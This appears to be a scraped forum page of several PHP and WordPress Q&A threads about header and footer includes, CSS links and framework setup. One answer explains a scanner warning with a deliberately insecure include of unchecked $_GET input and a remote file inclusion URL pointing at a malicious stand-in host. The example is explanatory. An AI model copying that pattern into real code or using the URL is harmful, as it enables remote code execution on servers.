I have been converting my PHP files from ANSI to UTF-8 and something weird happened to my code and I don't know why. This is my index.php code
<?php get_header(); ?>
<div id="container">
</div>
<?php get_footer(); ?>
And my header.php is this:
<!DOCTYPE html>
<html>
<head>
<title>Somethingá</title>
<link rel="stylesheet" type="text/css" media="all" href="<?php bloginfo( 'stylesheet_url' ); ?>">
</head>
<body>
<div id="header">
<div id="header-wrap">
<div id="logo"><img src="<?php bloginfo('template_directory'); ?>/img/logo.png" alt="ODS"></div>
<div id="header-text">Karviná</div>
<hr>
<div id="menu">
<ul>
<li>something</li>
<li>something</li>
<li>something</li>
<li>something</li>
<li>something</li>
<li>something</li>
<li>something</li>
</ul>
</div>
</div>
</div>
and the last footer.php contains this:
<div id="footer">
</div>
</body>
But there is a problem that I can't understand. It's a wordpress theme, all files are in UTF-8 coding. Everytime I open the site with this selected them, there are blank spaces. For example header is not at the top of page but about 20px from the top. I checked the code which I can see in developer console in Google Chrome and it contains this:
<html>
<head>
<style type="text/css"></style>
</head>
<body>
<title>Somethingá</title>
<link rel="stylesheet" type="text/css" media="all" href="http://XX.XXX.XXX.XX/wp-content/themes/xxx/style.css">
<div id="header">
<div id="header-wrap">
<div id="logo"><img src="http://93.185.106.91/wp-content/themes/ods/img/logo.png" alt="ODS"></div>
<div id="header-text">Karviná</div>
<hr>
<div id="menu">
<ul>
<li>something</li>
<li>something</li>
<li>something</li>
<li>something</li>
<li>something</li>
<li>something</li>
<li>something</li>
</ul>
</div>
</div>
</div>
<div id="footer">
</div>
</body>
</html>
It's totally weird. I don't get it why did content of <head> </head> moved to <body> </body>. It also generated that huge blank spaces between <body> and <title>, </div> and <div id="footer">.
Thank you.
firstly, I suggest looking at the "View Source" option to see the actual code that is being loaded into the browser. Looking at the developer tools will show you the code after the browser has processed it, which will be different to the code you're actually outputting.
The reason it's different is because the browser will handle any invalid HTML and try to arrange the page as best it can if the HTML isn't valid.
In your case, it's fairly clear that there's something invalid in the HTML. I can't see what it is, but you can check it for yourself very easily by using the W3C Validator. This will tell you of any HTML errors in your code.
Fix those errors, and the browser should start showing your page correctly.
Hope that helps.
Code was clean but if you are creating Wordpress Theme and you need UTF 8. You have to use UTF-8 without BOM! Not with BOM.
Related
I've below HTML code which I intend to use with index.php file but there seems a problem.
<!-- nav bar -->
<nav id="top">
<nav class="navbar navbar-xs navbar-custom">
<div class="container-fluid" >
<div class="nav pull-right">
<font face="bebas">
<ul class="list-inline">
<li> 123456789 </li>
<li class="dropdown"><i class="fa fa-user"></i> My Account <span class="caret"></span>
<ul class="dropdown-menu dropdown-menu-right">
<li>Register</li>
<li>Login</li>
</ul>
</li>
<li><i class="fa fa-heart"></i> Wish List (0)</li>
<li><i class="fa fa-shopping-cart"></i> Shopping Cart</li>
<li><i class="fa fa-share"></i> Checkout</li>
</ul>
</div>
</div>
</nav>
</nav>
<!-- searchbar and logo -->
<header id="margin">
<div class="container">
<div class="row">
<div class="col-xs-4">
<div id="logo">
<center> <span class="tab-space"></span> <img src="J:\lawn\home\artwork\lawn.png" height="42px" />
</div>
</div>
<div class="col-xs-5">
<div id="search" class="input-group">
<input type="text" name="search" value="" placeholder="Search" class="form-control" border-rad>
<span class="input-group-btn">
<button class="btn btn-secondary" type="button" style="border-radius: 0;">Search</button>
</span>
</div>
</div>
<div class="col-xs-3">
</div>
</div>
</div>
</font>
</header>
index.php
<!DOCTYPE html>
<html>
<head>
<title> experiment ground </title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<!-- <meta name="viewport" content="width=device=width, initial-scale=1"> omitted to remove unresponsiveness of columns -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<link href="J:\bootstrap\bootstrap-3.3.6-dist\css\bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="J:\bootstrap\bootstrap-3.3.6-dist\css\cutom.css" rel="stylesheet" type="text/css">
<script src="J:\bootstrap\bootstrap-3.3.6-dist\js\bootstrap.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
</head>
<body>
<?php include('includes\header.html'); ?>
</body>
</html>
i want an output like this but all i am getting is this.
is it a problem with using bootstrap or something else entirely.
my main purpose is to use include() feature of PHP to make my code minimal. is there any other way I can include headers or footers templates or codes to a PHP page?
thank you!
Link jQuery before you include Bootstrap
<link href="J:\bootstrap\bootstrap-3.3.6-dist\css\bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="J:\bootstrap\bootstrap-3.3.6-dist\css\cutom.css" rel="stylesheet" type="text/css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"</script>
<script src="J:\bootstrap\bootstrap-3.3.6-dist\js\bootstrap.min.js"></script>
1) open your Developer Tools (F12)
2) refresh page
3) check "console" tab
I think, you'll find answers in console.
Anyway, change your paths to relative (assuming file index.php at one tree level with bootstrap directory):
href="bootstrap\bootstrap-3.3.6-dist\css\bootstrap.min.css"
Instead of:
href="J:\bootstrap\bootstrap-3.3.6-dist\css\bootstrap.min.css"
And do it for all files, or just connect it from CDN - it will be great ;)
Call jquery.min.js before bootstrap.min.js
The script bootstrap.min.js uses jQuery plug-in in most actions.
Also, check if the files are actually in the path described. It is highly recommended that you call the files from the main project directory.
I am creating a custom theme, but have run into some problems. For your information my files are as seen below:
themes/
aq-aquatics/
css/
img/
js/
footer.php
functions.php
header.php
index.php
page-homepage.php
page-wide.php
style.css
index.php
This is my header.php
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="<?= get_template_directory_uri(); ?>/css/bootstrap.min.css">
<link href='https://fonts.googleapis.com/css?family=Asap:400,700' rel='stylesheet' type='text/css'>
<link href="http://fonts.googleapis.com/css?family=Arvo:400,700,400italic,700italic" rel="stylesheet" type="text/css">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="author" content="Matthew Smart">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<![endif]-->
<title><?php wp_title(); ?></title>
<?php wp_head(); ?>
</head>
<body>
<div class="wrap">
<header>
<div class="header-top text-right">
<div class="container">
<span style="margin-right:40px;">Tel: 01922 418050</span><span>Email: sales#hollybush-garden.com</span>
</div>
</div>
<div class="container">
<div class="header-content" style="min-height:86px;">
<div class="row">
<div class="col-sm-1" style="position:absolute;top:11px;z-index:1000;">
<img src="<?= get_template_directory_uri(); ?>/img/logo.png" width="108" height="100" alt="a&d logo"/>
</div>
<div class="col-sm-offset-1 col-sm-10 text-right" style="margin-left:132px;">
<nav class="navbar">
<div class="container">
<div>
<ul class="nav navbar-nav" style="width:inherit; border-bottom:none !important;margin-top:31px;">
<li class="active">Home</li>
<li class="dropdown">
<a class="dropdown-toggle" data-toggle="dropdown" href="#">At A & D
<span class="caret"></span></a>
<ul class="dropdown-menu">
<li>Page 1-1</li>
<li>Page 1-2</li>
<li>Page 1-3</li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" data-toggle="dropdown" href="#">Aquatics
<span class="caret"></span></a>
<ul class="dropdown-menu">
<li>Tropical</li>
<li>Pond</li>
<li>Marine</li>
<li>Cold water</li>
<li>Aquatics Sundries</li>
</ul>
</li>
<li>Valencia Wharf Coffee Shop</li>
<li>Opening Times</li>
<li>Contact Us</li>
</ul>
</div>
</div>
</nav>
</div>
</div>
</div>
</div>
<div class="purple-line" style="margin-bottom:25px;"></div>
</header>
This is my page.wide.php
<?php
/*
Template Name: Wide Page
*/
get_header();
?>
<?php
if ( have_posts() ) {
while ( have_posts() ) {
//
// Post Content here
the_content();
//
} // end while
} // end if
?>
<?php get_footer(); ?>
And this is my footer.php
<footer>
<div class="container">
<div class="col-sm-6">
A&D AQUATIC & GARDEN CENTRE | WEBSITE DESIGN BY <span>MATTHEW SMART</span>
</div>
<div class="col-sm-6 text-right">
<ul>
<li>TERMS AND CONDITIONS</li>
<li>PRIVACY POLICY</li>
<li>COOKES</li>
</ul>
</div>
</div>
</footer>
</div><!-- End WRAP -->
<?php wp_footer(); ?>
</body>
</html>
Now the page i am trying to test is using the wide template. I have put some dummy text into the editor and clicked publish.
Now when i try to visit the page the first thing i can see is part of the header. The browser then takes another 5 seconds and loads the navigation which is in my header.php file.
It seems to just ignore everything from the page template and afterwards. So the_content() pulls nothing through and the footer doesn't get displayed.
I have been comparing these files with other themes i have created and cannot seem to find a cause.
Does anyone know why this may be happening?
Thanks
Your loop is missing the_post().
<?php
if ( have_posts() ) {
while ( have_posts() ) {
the_post();
//
// Post Content here
the_content();
//
} // end while
} // end if
?>
https://codex.wordpress.org/Function_Reference/the_post
This is necessary to let WordPress know you are inside the loop, and retrieve the requested post's data. The footer isn't loading because the page is erroring out when it calls the_content() and cannot deal with this function outside the loop.
According to WordPress documentation the_content "must be within The_Loop."
I have a header.php and a footer.php which I include into all other pages like home, contact, about us etc.
The way I included the header and the footer file is
<?php include 'inc/header.php';
some code
some code
include 'inc/header.php'; ?>
Everything simple and works fine.
I decided to check my project for vulnerability and downloaded RIPS scanner. After the scan, the result
Userinput reaches sensitive sink.
5: include include 'inc/header.php'; // header.php
requires:
5: if(!in_array($_GET['file'], $files)) else
which basically say that both header and footer are vulnerable and I should use
if(!in_array($_GET['file'], $files)) else
How come a simple include header and footer file be vulnerable? and if vulnerable, how should i implement if(!in_array($_GET['file'], $files)) else ??
header.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="icon" href="images/common/lbfavicon.ico" />
<meta name="author" content="example.com" />
<link rel="stylesheet" type="text/css" href="template/css/reset.css" media="screen" />
<link rel="stylesheet" type="text/css" href="template/css/layout.css" media="screen"/>
</head>
<body>
<div id="header-wrapper">
<div class="container">
<div id="nav">
<ul>
<li>Home</li>
<li>About</li>
<li>Contact</li>
</ul>
</div><!-- nav ends -->
</div><!-- container ends -->
</div><!-- header wrapper ends -->
<div id="header">
<div class="container">
<div id="logo">
<img src="template/images/logo.png" width="125" height="45" alt="logo" />
</div><!-- logo ends -->
<div id="search">
<form method="get" action="searchresult.php">
<div class="form-item">
Search: <input type="text" maxlength="120" name="searchfor" />
</div>
</form>
</div><!-- search ends -->
</div><!-- container ends-->
</div><!-- header ends -->
<div class="container">
<div id="announcement">
<div id="breadcrumbs"></div>
</div><!-- announcement ends -->
<div id="pagewrapper">
Footer.php
<div id="bottom">
<div class="column">
<h2>Abc.com</h2>
<ul>
<li>About</li>
<li>Contact</li>
</ul>
</div>
<div class="column">
<h2>Mode of payment</h2>
<ul>
<li>Credit/Debit card | Cheque | Demand draft</li>
</ul>
<h2>Get in touch</h2>
<ul>
<li><img src="template/images/facebook.png" width="32" height="32" alt="facebook" /></li>
</ul>
</div>
<div class="column">
<h2>Call us / Mail us</h2>
<ul>
<li>0-9999384745 / info#example.com</li>
</ul>
<h2>Share us</h2>
<ul>
<li><img src="template/images/facebook.png" width="32" height="32" alt="facebook" /></li>
</ul>
</div>
<div style="clear: both;"></div>
</div> <!-- bottom ends -->
<div id="footer">
</div>
</div> <!--Pagewrapper end-->
</div>
</body>
</html>
Well I suppose this is just a warning but in a global way, when you include .php scripts which names come from user input, you should absolutely check if the names provided are correct or not (to prevent security issues).
For example, a lot of websites use a "global" file that would include file according to requests coming from the user.
Example :
<?php
$get = $_GET['action'];
if ($get == "index") {
include "includes/index.php";
}
//...
else
{
include $get .".php";
}
Now let's imagine someone want to include some malicious script within your website. If your server allow cross-website requests, then people could specify some external script that could be dangerous for your server or the others users.
Example : ./global.php?action=http://malicious4ever.com/dirtything
I'am new to foundation framework and i trying to integrate foundation with CodeIgniter. Everything working but menu portion is not working. it seems the style is not effecting the menu. its been 2-3 days i'am working on this, please help me to solve this.
<!doctype html>
<html class="no-js" lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Foundation | Welcome</title>
<link rel="stylesheet" href="<?php echo base_url().'public/lib/found/'; ? >
css/foundation.css" />
<script src="<?php echo base_url().'public/lib/found/'; ?>js/vendor/
modernizr.js"> </script>
<style>
.columns
{
border:1px solid red;
}
</style>
</head>
<body>
<div class="row">
<nav class="top-bar" data-topbar>
<ul class="title-area">
<li class="name">
<h1>My Site</h1>
</li>
<li class="toggle-topbar menu-icon">Menu</li>
</ul>
<section class="top-bar-section">
<!-- Right Nav Section -->
<ul class="right">
<li class="active">Right Button Active</li>
<li class="has-dropdown">
Right Button Dropdown
<ul class="dropdown">
<li>First link in dropdown</li>
</ul>
</li>
</ul>
<!-- Left Nav Section -->
<ul class="left">
<li>Left Nav Button</li>
</ul>
</section>
</nav>
</div>
<div class="row">
<div class="large-4 columns"><br/><br/></div>
<div class="large-8 columns"><br/><br/></div>
</div>
<script src="<?php echo base_url().'public/lib/found/'; ?>js/vendor/
jquery.js"> </script>
<script src="<?php echo base_url().'public/lib/found/'; ?>js/
foundation.min.js"></script>
<script>
$(document).foundation();
</script>
</body>
</html>
I find the problem. I only added the file which i included in the html page like modernizr.js, foundation.min.js, foundation.css ..etc. But when i added entire foundation folder to my new application its works.
I have been facing the problem of linking a CSS file to my PHP code.
I am using Netbean IDE 7.2 and XAMPP 8.0
I have tried to create a new HTML file and link it with a new CSS file.
It does not work.
If I type the script inside the HTML itself, it works great.
What am I doing wrong?
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Website Development Version 1.0</title>
<link href="CSS/layout.css" type="css/text" rel="stylesheet"/>
<link href="CSS/expandLayout.css" type="css/text" rel="stylesheet"/>
<script src="Javascript/jquery-1.4.2.min.js" type="text/javascript"></script>
<script>
function prepareList() {
$('#expList').find('li:has(ul)')
.click( function(event) {
if (this == event.target) {
$(this).toggleClass('expanded');
$(this).children('ul').toggle('medium');
}
return false;
})
.addClass('collapsed')
.children('ul').hide();
};
$(document).ready( function() {
prepareList()
});
</script>
</head>
<body>
<div id="container">
<div id="header">
<!-- Input Content -->
<h1>This is Header</h1>
</div>
<div id="menuList">
Menu
</div>
<div id="innerContainer">
<div id="leftColumn">
<!-- Input Content -->
<ul id="expList">
<li>Home</li>
<li>Product
<ul>
<li>List 1</li>
<li>List 2</li>
<li>List 3</li>
</ul>
</li>
<li>Register</li>
<li>About Us</li>
</ul>
</div>
<div id="centerColumn">
<!-- Input Content -->
This is Main Content
</div>
<div id="rightColumn">
<!-- Input Content -->
This is Right Content
</div>
</div>
<div id="footer">
<!-- Input Content -->
<h3>This is Footer</h3>
</div>
</div>
</body>
</html>
The media type for CSS is text/css not css/text.
Browsers tend to ignore <link>s to things with media types they don't understand.